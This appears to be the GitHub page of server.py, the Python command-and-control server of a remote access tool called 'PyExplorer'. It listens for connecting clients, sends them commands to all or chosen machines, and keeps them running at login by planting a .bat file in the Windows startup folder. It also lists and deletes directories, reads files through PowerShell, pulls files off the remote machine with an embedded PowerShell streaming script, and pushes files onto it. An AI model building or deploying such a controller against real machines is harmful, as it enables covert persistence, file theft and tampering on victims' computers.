-
Notifications
You must be signed in to change notification settings - Fork 0
/
server.py
404 lines (285 loc) · 12.5 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
import socket
import time
import colorama
from threading import Thread
from colorama import Fore, Back, Style
colorama.init(autoreset=True)
PORT = 12345
BUFFER_SIZE = 4096
CLIENT_LIST = []
CLIENT_DICT = {}
CLIENT_DICT_CTR = 0
listener_thread_stat = True
SIG = "<<PyExplorer>>"
class Connection:
def __init__(self, new_socket, new_client):
self.client_socket = new_socket
self.client_ip = new_client
self.cwd = ''
def listener():
# Initialize socket and listen
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(('0.0.0.0', PORT))
print(Fore.YELLOW + "\n[+] Socket bound to port", PORT)
server_socket.listen(5)
print(Fore.YELLOW + "[+] Server is listening...")
while listener_thread_stat:
# Connection established
client_socket, client_address = server_socket.accept()
newConnection = Connection(client_socket, client_address)
global CLIENT_DICT_CTR
CLIENT_LIST.append(client_address)
CLIENT_DICT[str(CLIENT_DICT_CTR)] = newConnection
print(Fore.LIGHTGREEN_EX + '\n[+] Connection to {}:{} established\n'.format(client_address, CLIENT_DICT_CTR))
CLIENT_DICT_CTR += 1
print(Fore.LIGHTCYAN_EX + SIG + " ", end='')
server_socket.close()
print(Fore.YELLOW + "\n[+] Listener stopped.")
# Print help menu
def helpMenu():
print("""
Help Menu
##############
Command Format
----------------------------------------------------------------------------------------------
client_number command
EX.
-------
0 dir
-------
This send the "dir" command to the client at the 0 index in the CLIENT_DICT.
Commands
----------------------------------------------------------------------------------------------
> help / h : Display this menu.
> quit / q : Quit the server, client will try to reconnect every 5 seconds.
> startup : Add .bat file to the startup folder on the client machine that calls the client script on startup.
> dir : Print contents of current working directory.
> cd : Change directory.
> read fileName n : Send n number of lines from file at specified path, leave n blank to see the whole file.
> download fileName : Downloads specified file.
> upload fileName : Upload specified file to client machine.
----------------------------------------------------------------------------------------------
""")
# Quit the server program. Client will try to reconnect every 5 seconds
def quitServer():
global listener_thread_stat
listener_thread_stat = False
for client in CLIENT_DICT:
CLIENT_DICT[client].client_socket.send(b"q")
print("Sending exit signal to client.")
def listClients():
ctr = 0
for client in CLIENT_DICT:
print("{}. {}".format(ctr, CLIENT_DICT[client].client_ip))
ctr += 1
# Add to startup folder
def addToStartup(client_number):
print("Adding to startup folder...")
CLIENT_DICT[client_number].client_socket.send(b"startup")
print(CLIENT_DICT[client_number].client_socket.recv(BUFFER_SIZE).decode())
# Make directory
def makeDir(client_number, command):
CLIENT_DICT[client_number].client_socket.send(command.encode())
data = CLIENT_DICT[client_number].client_socket.recv(BUFFER_SIZE).decode()
CLIENT_DICT[client_number].client_socket.send(b"OK")
data = CLIENT_DICT[client_number].client_socket.recv(BUFFER_SIZE).decode()
# Remove directory or file
def removeDir(client_number, command):
CLIENT_DICT[client_number].client_socket.send(command.encode())
data = CLIENT_DICT[client_number].client_socket.recv(BUFFER_SIZE).decode()
# List directory
def listDir(client_number, command):
list_dir = ''
CLIENT_DICT[client_number].client_socket.send(command.encode())
data = CLIENT_DICT[client_number].client_socket.recv(BUFFER_SIZE).decode()
while data != "Fin":
list_dir += data
CLIENT_DICT[client_number].client_socket.send(b"OK")
data = CLIENT_DICT[client_number].client_socket.recv(BUFFER_SIZE).decode()
print(list_dir)
# Change current working directory
def changeDir(client_number, command):
CLIENT_DICT[client_number].client_socket.send(command.encode())
CLIENT_DICT[client_number].cwd = CLIENT_DICT[client_number].client_socket.recv(BUFFER_SIZE).decode()
# Send data from file specified without saving it to a new file on the server
def read(client_number, proc_command):
try:
file_name, line_count = proc_command.rsplit(' ', 1)
except IndexError:
return 1
except ValueError:
line_count = -1
file_name = proc_command
pass
peek_command = "gc {} -TotalCount {}".format(file_name, line_count)
CLIENT_DICT[client_number].client_socket.send(peek_command.encode())
try:
data = CLIENT_DICT[client_number].client_socket.recv(BUFFER_SIZE).decode()
except UnicodeDecodeError:
print(Fore.LIGHTRED_EX + "Error reading file.")
CLIENT_DICT[client_number].client_socket.send(b"ERROR")
return 1
print("Preview of {}".format(proc_command))
print("--------------------------------")
while data != "Fin":
print(data)
CLIENT_DICT[client_number].client_socket.send(b"OK")
data = CLIENT_DICT[client_number].client_socket.recv(BUFFER_SIZE).decode()
print("--------------------------------")
# Download specified file
def download(client_number, raw_command):
chunk_ctr = 0
command = raw_command.split(' ', 1)
raw_file_name = command[1]
file_name = command[1]
f_name = '"{}"'.format(file_name)
if '\\' in file_name:
file_name = file_name.split('\\')
file_name = file_name[len(file_name)-1]
copy_text = " - COPY"
try:
file_name, extention = file_name.rsplit('.', 1)
except ValueError:
extention = ''
return 1
file_name = file_name + copy_text + '.' + extention
CLIENT_DICT[client_number].client_socket.send(raw_command.encode())
data = CLIENT_DICT[client_number].client_socket.recv(BUFFER_SIZE).decode()
if data != "OK":
return 1
# Powershell script to stream bytes from a file
ps_read_file = f"""
$chunkSize = {BUFFER_SIZE}
$path = {f_name}
$sourceStream = [System.IO.File]::OpenRead($path)
try {{
$buffer = New-Object byte[] $chunkSize
while (($bytesRead = $sourceStream.Read($buffer, 0, $buffer.Length)) -gt 0) {{
[Console]::OpenStandardOutput().Write($buffer, 0, $bytesRead)
}}
}}
finally {{
$sourceStream.Close()
}}
"""
CLIENT_DICT[client_number].client_socket.send(ps_read_file.encode())
chunks = CLIENT_DICT[client_number].client_socket.recv(BUFFER_SIZE).decode()
try:
chunks = int(chunks)
chunks += 1
except Exception as e:
print(e)
return 1
CLIENT_DICT[client_number].client_socket.send(b"OK")
data = CLIENT_DICT[client_number].client_socket.recv(BUFFER_SIZE)
start_time = time.time()
with open(file_name, "wb") as f:
while data != b"Fin":
chunk_ctr += 1
f.write(data)
percentage = int((chunk_ctr / chunks) * 100)
print("Download: {}%".format(percentage), end='\r')
CLIENT_DICT[client_number].client_socket.send(b"OK")
data = CLIENT_DICT[client_number].client_socket.recv(BUFFER_SIZE)
percentage = int((chunk_ctr / chunks) * 100)
print("Download: {}%".format(percentage))
print("\nSuccess.\n-------------------")
print("Downloaded in %s seconds" % (time.time() - start_time))
print("File created in the same directory as this script.")
def upload(client_number, command):
data = b'^_^'
proc_command = command.split(' ', 1)
try:
path = proc_command[1]
except IndexError:
print(Fore.YELLOW + "No path found.")
return 1
CLIENT_DICT[client_number].client_socket.send(command.encode())
try:
with open(proc_command[1], "rb") as input_file:
chunk = input_file.read(BUFFER_SIZE)
while chunk != b'':
CLIENT_DICT[client_number].client_socket.send(chunk)
response = CLIENT_DICT[client_number].client_socket.recv(BUFFER_SIZE)
if response != b"OK":
print(Fore.LIGHTRED_EX + "Error Transferring File.")
CLIENT_DICT[client_number].client_socket.send(b"Fin")
break
chunk = input_file.read(BUFFER_SIZE)
CLIENT_DICT[client_number].client_socket.send(b"Fin")
except FileNotFoundError:
print(Fore.YELLOW + "File not found.")
CLIENT_DICT[client_number].client_socket.send(b"Fin")
def main():
listener_thread = Thread(target=listener)
listener_thread.setDaemon = True
listener_thread.start()
global CLIENT_DICT_CTR
while True:
error= False
client_numbers = []
try:
print(Fore.LIGHTCYAN_EX + SIG + " ", end='')
raw_command = input("")
if raw_command == "q" or raw_command == "quit":
quitServer()
break
elif raw_command == "h" or raw_command == "help":
helpMenu()
elif raw_command == "l" or raw_command == "list":
listClients()
try:
pre_proc_command = raw_command.split(" ", 1)
client_number = pre_proc_command[0]
if client_number != "all":
try:
client_numbers = client_number.split(",")
except Exception as e:
client_numbers.append(client_number)
print(e)
for client in client_numbers:
try:
if int(client) < 0 or int(client) > CLIENT_DICT_CTR-1:
error = True
break
except ValueError:
error = True
if error:
continue
elif client_number == "all":
ctr = 0
while ctr < CLIENT_DICT_CTR:
client_numbers.append(str(ctr))
ctr += 1
command = pre_proc_command[1]
proc_command = command.split(' ', 1)
except IndexError:
continue
for client in client_numbers:
if raw_command == "startup":
addToStartup(client)
elif proc_command[0] == "mkdir":
makeDir(client, command)
elif proc_command[0] == "rmdir" or proc_command[0] == "rm":
removeDir(client, command)
elif proc_command[0] == "dir":
listDir(client, command)
elif proc_command[0] == "cd":
changeDir(client, command)
elif proc_command[0] == "read":
read(client, proc_command[1])
elif proc_command[0] == "download" or proc_command[0] == "dl":
download(client, command)
elif proc_command[0] == "upload" or proc_command[0] == "ul":
upload(client, command)
except (ConnectionResetError, ConnectionAbortedError) as e:
print(Fore.LIGHTRED_EX + "Client disconnected.")
print(e)
try:
CLIENT_DICT[client_number].client_socket.close()
del CLIENT_DICT[client_number]
CLIENT_DICT_CTR -= 1
except Exception as e:
print(e)
continue
main()